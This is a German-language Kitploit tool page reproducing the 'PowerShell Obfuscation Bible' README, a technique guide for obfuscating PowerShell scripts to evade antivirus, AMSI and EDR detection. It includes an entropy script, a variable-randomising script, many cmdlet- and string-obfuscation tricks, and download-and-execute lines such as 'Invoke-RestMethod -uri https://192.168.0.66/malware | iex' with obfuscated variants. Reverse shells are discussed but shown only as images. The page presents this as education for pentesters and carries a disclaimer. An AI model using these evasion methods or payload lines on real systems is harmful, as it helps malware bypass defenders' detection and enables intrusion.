Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS-UmgehungPenetrationstestsLernen & BildungRed TeamingKuratierte RessourcenPayload-Entwicklung
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

Repository anzeigen
1.2k1395vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Eine Sammlung von Techniken, Beispielen und ein wenig Theorie zur manuellen Verschleierung von PowerShell-Skripten zur Umgehung von Antivirensoftware, zusammengestellt zu Bildungszwecken. Die Inhalte dieses Repositorys sind das Ergebnis persönlicher Forschung, einschließlich Online-Recherchen sowie Versuch-und-Irrtum-Experimenten in Laboren und bei Pentests.

Teilen

PowerShell Obfuscation Bible

Python License

Eine Sammlung von Techniken, Beispielen und ein wenig Theorie zum manuellen Verschleiern von PowerShell-Skripten, um signaturbasierte Erkennung zu umgehen, zusammengestellt für Bildungszwecke. Der Inhalt dieses Repositorys ist das Ergebnis persönlicher Forschung, einschließlich Online-Recherchen und Trial-and-Error-Versuchen in Laboren und Pentests. Du solltest nichts als selbstverständlich hinnehmen.

YouTube-Videopräsentation: youtube.com/watch?v=tGFdmAh_lXE

⚠️ Haftungsausschluss: Die Nutzung der in diesem Repository beschriebenen Techniken und Konzepte, um unbefugten Zugriff auf Systeme zu erlangen, die du nicht testen darfst, ist illegal. Du bist für deine Handlungen verantwortlich. Sei nicht böse.

Inhaltsverzeichnis

  1. Entropie
  2. Erkennungsauslöser identifizieren
  3. Objekte umbenennen
  • Boolesche Werte verschleiern
  • Cmdlet-Unterbrechung mit Anführungszeichen
  • Cmdlet-Unterbrechung mit Caret-Zeichen
  • Get-Command-Technik
  • Schleifen ersetzen
  • Befehle ersetzen
  • Mit Strings herumspielen
  • Junk anhängen
  • Kommentare hinzufügen oder entfernen
  • Groß-/Kleinschreibung randomisieren
  • Skriptkomponenten neu anordnen
  • Skript Zeile für Zeile ausführen
  • Entropie

    Der wissenschaftliche Begriff entropy, der allgemein definiert ist als das Maß für Zufälligkeit oder Unordnung eines Systems, ist bei der AV-Umgehung wichtig. Das liegt daran, dass Malware häufig Code enthält, der stark randomisiert, verschlüsselt und/oder kodiert (verschleiert) ist, um die Analyse und damit die Erkennung zu erschweren. Als eine von verschiedenen Methoden verwenden Antivirenprodukte die Entropieanalyse, um potenziell schädliche Dateien und Payloads zu identifizieren.

    Es ist wichtig, dieses Konzept zu verstehen, denn beim Verschleiern von Code solltest du die Entropievarianz im Blick behalten, die durch die Änderungen entsteht, die du vornimmst. Signaturen zu brechen ist einfach, aber wenn du nicht auf das Entropieniveau achtest, werden ausgefeilte AV/EDRs es durchschauen.

    Ein Prinzip, das du im Hinterkopf behalten solltest: Je größer die Entropie, desto wahrscheinlicher sind die Daten verschleiert oder verschlüsselt, und desto wahrscheinlicher ist die Datei/das Payload bösartig. Glücklicherweise gibt es Möglichkeiten, sie zu senken.

    Claude E. Shannon stellte in seiner Arbeit von 1948, A Mathematical Theory of Communication, eine Formel vor, mit der sich die Entropie in einem Datensatz messen lässt. Hier ist eine einfache Python-Implementierung der Shannon Entropy, die du verwenden kannst, um die Entropie der von dir entwickelten Payloads zu messen:

    root@kitploit:~
    #!/bin/python3
    # Usage: python3 entropy.py <file>
    
    import math, sys
    
    def entropy(string):
        "Calculates the Shannon entropy of a UTF-8 encoded string"
    
        # decode the string as UTF-8
        unicode_string = string.decode('utf-8')
    
        # get probability of chars in string
        prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
    
        # calculate the entropy
        entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
    
        return entropy
    
    
    f = open(sys.argv[1], 'rb')
    content = f.read()
    f.close()
    
    print(entropy(content))
    

    Du kannst auch diesen Online-Shannon-Entropie-Rechner oder Microsofts Sigcheck.exe mit der Option -a verwenden.

    Erkennungsauslöser identifizieren

    Der ausgereifte und elegante Ansatz, bevor man sich in Trial-and-Error-Verschleierungstests stürzt, um eine Payload-Variation zu entwickeln, die nicht markiert wird, besteht darin, die Teile in einem Skript zu identifizieren, die die Malware-Erkennung auslösen. Gerade bei kurzen Skripten wie C2-Befehlen kannst du möglicherweise unbedeutende Änderungen vornehmen und sofort vom Radar verschwinden.

    Ein großartiges Werkzeug zur Identifizierung solcher Auslöser ist AMSITrigger. Hier ist ein Anwendungsbeispiel mit einer Datei, die ein bösartiges Skript enthält. Der rote Bereich kennzeichnet den Teil, auf den die Verschleierung angewendet werden sollte:

    Bild

    Du kannst Auslöser auch manuell identifizieren, indem du ein Skript Stück für Stück ausführst.

    Objekte umbenennen

    Beim Verschleiern von Skripten sollte es eine Priorität sein, Variablen-/Klassen-/Funktionsnamen durch zufällige zu ersetzen. Auf diese Weise kannst du in Kombination mit anderen Techniken die Erkennung leicht umgehen. Du solltest jedoch die Entropie der von dir entwickelten Payloads im Hinterkopf behalten. Betrachte das folgende Standard-Reverse-Shell-Skript, das von den meisten, wenn nicht allen, Antivirenprogrammen erkannt wird:

    Bild

    Betrachte nun die folgende verschleierte Version:

    Bild

    In dieser Version wurden alle Variablennamen durch 32 Zeichen lange Zufallsnamen ersetzt. Ich habe außerdem (pwd).Path durch $(gl) ersetzt. Das Payload hat eine Shannon entropy von 4.96. Zum Zeitpunkt des Schreibens wird es von MS Defender und einer Reihe anderer Produkte nicht erkannt:

    Bild

    Betrachte nun diese Version:

    Bild

    Diese Variante hat ebenfalls alle Variablennamen ersetzt, diesmal jedoch durch Namen, die aus einer x-Anzahl von 'f'-Zeichen bestehen, was zu einem deutlichen Rückgang der Entropie des Payloads führt. Ich habe auch hier (pwd).Path durch $(gl) ersetzt. Auch zum Zeitpunkt des Schreibens wird es von MS Defender nicht erkannt. Das Payload hat eine Shannon entropy von 0.76.

    Bild

    ⚡ Beide Varianten umgehen gängige Antivirenprogramme, aber die zweite hat eine geringere Entropie und wird wahrscheinlich bessere Chancen haben, wenn sie von EDRs und anderen ausgefeilten Anti-Malware-Engines verarbeitet wird. ⚠️ Ich sage nicht, dass die bessere Leistung der zweiten Payload-Variante in diesem Beispiel sicher auf das Entropieniveau zurückzuführen ist (ich kann das nicht wirklich wissen, es könnte die Länge gewesen sein oder beides oder wer weiß was), aber es ist ein wichtiger Aspekt, den man beim Verschleiern im Hinterkopf behalten sollte, und dieses Beispiel soll genau dieses Konzept unterstreichen.

    Du kannst das folgende Skript verwenden, um die Namen von Variablen in einem PowerShell-Skript zu randomisieren. ⚠️ Das Skript ist nicht perfekt! Wenn du es mit großen, komplexen PowerShell-Skripten ausführst, kann es deren Funktionalität beeinträchtigen, indem es Dinge ersetzt, die es nicht ersetzen sollte. Verwende es mit Vorsicht und sei achtsam.

    root@kitploit:~
    #!/bin/python3
    #
    # This script is an example. It is not perfect and you should use it with caution.
    # Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
    # Usage: python3 randomize-variables.py <path/to/powershell/script>
    
    import re
    from sys import argv
    from uuid import uuid4
    
    def get_file_content(path):
    	f = open(path, 'r')
    	content = f.read()
    	f.close()
    	return content
    	
    
    def main():
    
    	payload = get_file_content(argv[1])
    	used_var_names = []
    
    	# Identify variables definitions in script
    	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
    	variable_definitions.sort(key=len)
    	variable_definitions.reverse()
    
    	# Replace variable names
    	for var in variable_definitions:
    		
    		var = var.strip("\n \r\t=")
    
    		while True:
    			
    			new_var_name = uuid4().hex
    			
    			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
    				continue
    				
    			else:
    				used_var_names.append(new_var_name)
    				break	
    						
    		payload = payload.replace(var, f'${new_var_name}')
    	
    	print(payload + '\n')
    
    	
    main()
    

    Boolesche Werte verschleiern

    Es macht super viel Spaß und ist einfach, $True- und $False-Werte durch andere boolesche Äquivalente zu ersetzen, die buchstäblich unbegrenzt sind. Vor allem, wenn du den Erkennungsauslöser in einem bestimmten Payload identifiziert hast und dieser einen $True- oder $False-Wert enthält, kannst du die Erkennung wahrscheinlich umgehen, indem du ihn einfach durch ein boolesches Ersatzäquivalent ersetzt. Alle folgenden Beispiele ergeben True. Du kannst sie in False umkehren, indem du einfach ein Ausrufezeichen vor den Ausdruck setzt (z. B. ![bool]0x01):

    • Die boolesche Typumwandlung von praktisch allem, was nicht 0 oder Null oder ein empty string ist, ergibt True:
    root@kitploit:~
    [bool]1254
    [bool]0x12AE
    [bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
    ![bool]$null
    ![bool]$False
    [bool]"Any non empty string"
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893)   # Boolean typecast of a negative number 
    [bool](12 + (3 * 6))
    [bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
    [bool]@(0x01BE)
    [bool][System.Collections.ArrayList]
    [bool][System.Collections.CaseInsensitiveComparer]
    [bool][System.Collections.Hashtable]
    
    # Well, you get the point.
    
    • Die boolesche Typumwandlung einer beliebigen Klasse ergibt ebenfalls True:
    root@kitploit:~
    [bool][bool]
    [bool][char]
    [bool][int] 
    [bool][string]
    [bool][double]
    [bool][short]
    [bool][decimal]
    [bool][byte]
    [bool][timespan]
    [bool][datetime]
    
    • Das Ergebnis eines Vergleichs, der True ergibt (na klar):
    root@kitploit:~
    (9999 -eq 9999)
    ([math]::Round([math]::PI) -eq (4583 - 4580))
    [Math]::E -ne [Math]::PI
    
    • Oder du kannst einfach einen True-Wert aus den Attributen eines Objekts holen:
    root@kitploit:~
    $x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
    $x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
    $x = [mailaddress].IsAutoLayout
    $x = [ValidateCount].IsVisible
    
    • Du kannst all dieses Zeug und merkwürdige Dinge mischen, indem du abscheuliche Wege konstruierst, um True oder False auszudrücken:
    root@kitploit:~
    [bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
    [System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
    [bool]$(Get-LocalGroupMember Administrators)
    !!!![bool][bool][bool][bool][bool][bool]
    

    Cmdlet-Unterbrechung mit Anführungszeichen

    Du kannst Cmdlets verschleiern, indem du einfache und/oder doppelte Anführungszeichen zwischen ihre Zeichen einfügst, solange es nicht am Anfang geschieht. Es ist super effektiv! Zum Beispiel kann der Ausdruck iex "pwd" ersetzt werden durch:

    root@kitploit:~
    i''ex "pwd"
    i''e''x "pwd"
    i''e''x'' "pwd"
    ie''x'' "pwd"
    iex'' "pwd"
    i""e''x"" "pwd"
    ie""x'' "pwd"
    
    # and so on... but also:
    
    i''ex "p''wd"
    i''e''x "p''w''d"
    i''e''x'' "p''w''d''"
    ie''x'' "pw''d`"`""
    iex'' "p`"`"w`"`"d`"`""
    i""e''x"" "p`"`"w`"`"d''"
    ie""x'' "p`"`"w''d`"`""
    
    # You get the point.
    

    Cmdlet-Unterbrechung mit Caret-Zeichen

    Das ist ein wenig dreckig, kann aber nützlich sein. In einem Windows-CMD-Terminal ist es möglich, das Caret-Symbol (^) zwischen die Zeichen eines Befehls einzufügen, und es wird trotzdem normal interpretiert. In einem PowerShell-Skript wäre eine Möglichkeit, dies zu nutzen, die folgende:

    root@kitploit:~
    cmd /c "who^am^i"
    

    Untistled

    Get-Command-Technik

    Ein wirklich cooler Trick, den mir mein Freund und mächtiger Haxor Karol Musolff (@kmusolff) gezeigt hat. Du kannst mit Get-Command (oder gcm) den Namen (String) jedes beliebigen Befehls abrufen, einschließlich aller Nicht-PowerShell-Dateien in der Umgebungsvariable Path ($env:Path), indem du Wildcards verwendest. Du kannst sie dann mit dem &-Operator als Jobs ausführen. Zum Beispiel die folgende Zeile:

    root@kitploit:~
    Invoke-RestMethod -uri https://192.168.0.66/malware | iex
    

    Könnte verschleiert werden zu:

    root@kitploit:~
    &(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    Oder noch besser dieses hier, das einen niedrigeren Shannon entropy-Wert hat:

    root@kitploit:~
    &(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
    

    Schleifen ersetzen

    Es gibt bestimmte Schleifen, die durch andere Schleifentypen oder Funktionen ersetzt werden können. Zum Beispiel kann eine While ($True){ # some code }-Schleife durch Folgendes ersetzt werden:
    Eine unendliche For-Schleife

    root@kitploit:~
    For (;;) { # some code }
    

    Eine Do-While-Schleife

    root@kitploit:~
    Do { # some code } While ($true)
    

    Eine Do-Until-Schleife

    root@kitploit:~
    Do { # some code } Until (1 -eq 2)
    

    Eine rekursive Funktion

    root@kitploit:~
    function runToInfinity { 
     # do something;  
     runToInfinity;
    }
    

    Junk anhängen

    Parameter hinzufügen/entfernen

    Du kannst versuchen, einem Cmdlet Parameter hinzuzufügen. Zum Beispiel die folgende Zeile:

    root@kitploit:~
    iex "whoami"
    

    Könnte erweitert werden zu:

    root@kitploit:~
    iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
    

    Du kannst natürlich auch das Gegenteil versuchen.

    Zufällige Objekte anhängen

    Du kannst ein Skript mit zufälligen Variablen und Funktionen "verunreinigen". Nimm an, das folgende Skript ist bösartig:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); 
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
    iex $virus;
    

    Du kannst seine Signatur vielleicht brechen, indem du so etwas tust:

    root@kitploit:~
    $b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
    $virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
    iex $virus;
    

    Befehle ersetzen

    Du kannst immer nach Befehlen oder sogar ganzen Codeblöcken in einem Skript suchen, die du durch Komponenten mit gleicher/ähnlicher Funktionalität ersetzen kannst. Im folgenden klassischen Reverse-Shell-Skript wird der Befehl pwd verwendet, um das aktuelle Arbeitsverzeichnis abzurufen und den Promptwert der Shell zu rekonstruieren:
    Bild

    Der Teil (pwd).Path kann durch das folgende seltsame, unorthodoxe kleine Skript ersetzt werden, und obwohl es sogar pwd enthält, dient es doch unserem Zweck, die Signatur zu brechen, während die Funktionalität des Skripts erhalten bleibt:

    root@kitploit:~
    "$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
    

    Es gibt natürlich einfachere Ersatzmöglichkeiten für pwd, wie gl, get-location und cmd.exe /c chdir, die den Zweck erfüllen könnten, insbesondere in Kombination mit anderen Techniken.

    Mit Strings herumspielen

    Es gibt kein Ende dessen, was man mit Strings machen kann. Unten findest du einige interessante Konzepte. Die Beispiele verwenden den String 'malware':

    String in Here-String umwandeln

    Auf Kosten einiger zusätzlicher Zeilen kannst du einen String in einen Here-String verwandeln.
    Dies:

    root@kitploit:~
    $x = 'echo malware';
    iex $x;
    

    Ist dasselbe wie:

    root@kitploit:~
    $x = 'echo malware';
    iex @"
    $x
    "@
    

    Strings umkehren

    root@kitploit:~
    $x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
    

    Verkettung

    Ziemlich einfach und klassisch:

    root@kitploit:~
    'mal' + 'w' + 'ar' + 'e'
    

    String aus Substring gewinnen:

    Füge den gewünschten Wert zwischen einen irrelevanten String ein und verwende substring(), um ihn anhand von Start- und Endindizes zu extrahieren:

    root@kitploit:~
    'xxxmalwarexxx'.Substring(3,7)
    

    String per Regex-Treffer ersetzen:

    Erstelle einen Junk-String und ersetze ihn per Regex-Abgleich durch den gewünschten Wert:

    root@kitploit:~
    'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
    

    Den gewünschten String per Base64 dekodieren:

    Kodiere deinen String und dekodiere ihn im Skript:

    root@kitploit:~
    [System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
    

    Die Zeichen des gewünschten Strings aus Bytes gewinnen:

    root@kitploit:~
    "$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
    

    Das soll nur den Einstieg erleichtern. Fortsetzung folgt...

    Kommentare hinzufügen oder entfernen

    Kommentare anhängen

    Ein Skript zu verschleiern, indem man hier und da Kommentare anhängt, könnte tatsächlich für sich genommen den Zweck erfüllen.
    Zum Beispiel könnte ein Reverse-Shell-Befehl so verschleiert werden:

    Original (Gängiger Reverse-Shell-Befehl, der von AVs leicht erkannt wird)

    Bild

    Modifiziert (an verschiedenen Stellen <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> eingefügt)

    Bild

    Das funktioniert nicht nur, sondern senkt auch den Shannon entropy-Wert des Payloads (vorausgesetzt, du verwendest keine komplexen Zufallskommentare).

    Kommentare entfernen

    Es gibt malware-ähnliche Strings, die AMSI sofort auslösen, und es sollte eine Priorität sein, sie zu ersetzen, wenn man Skripte verschleiert. Schau dir das an:
    Bild

    Allein durch die Eingabe des Strings 'invoke-mimikatz' im Terminal bekommt AMSI einen Aussetzer (das Skript ist nicht einmal vorhanden/geladen). Diese Strings können auch in Kommentaren vorkommen, daher ist es eine gute Idee, sie zu entfernen, insbesondere aus FOS-Ressourcen, die du aus dem Internet holst (z. B. Invoke-Mimikatz.ps1 von GitHub).

    *Es ist im Allgemeinen eine gute Idee, Kommentare zu entfernen. Dies war nur ein Beispiel.

    Groß-/Kleinschreibung randomisieren

    Wahrscheinlich der älteste Trick im Buch. Die Groß-/Kleinschreibung von Cmdlets und Parametern zu randomisieren, könnte helfen:

    root@kitploit:~
    inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
    

    Skriptkomponenten neu anordnen

    Manchmal kann es funktionieren, einfach Variablen und Klassen an andere Stellen zu verschieben, insbesondere wenn du den Erkennungsauslöser gefunden hast und dieser eine Variablendefinition enthält, die auch woanders stattfinden könnte, z. B. am Anfang des Skripts.

    Skript Zeile für Zeile ausführen

    Manchmal ist es möglich, eine AV-Umgehung zu erreichen, indem man ein bösartiges Skript einfach Zeile für Zeile ausführt. Das kann unter den gegebenen Umständen natürlich eine Herausforderung sein. Falls du es versuchst, sei dir über Skriptblöcke im Klaren, die als Ganzes ausgeführt werden müssen (z. B. Schleifen, Try-Catch-Blöcke, Bedingungsanweisungen, Funktionsdefinitionen usw.). Um das zu testen, kannst du ein gängiges PowerShell-Reverse-Shell-Skript (ohne Verschleierung) nehmen und es Zeile für Zeile ausführen. Wird es erkannt? ;)

    Tool herunterladen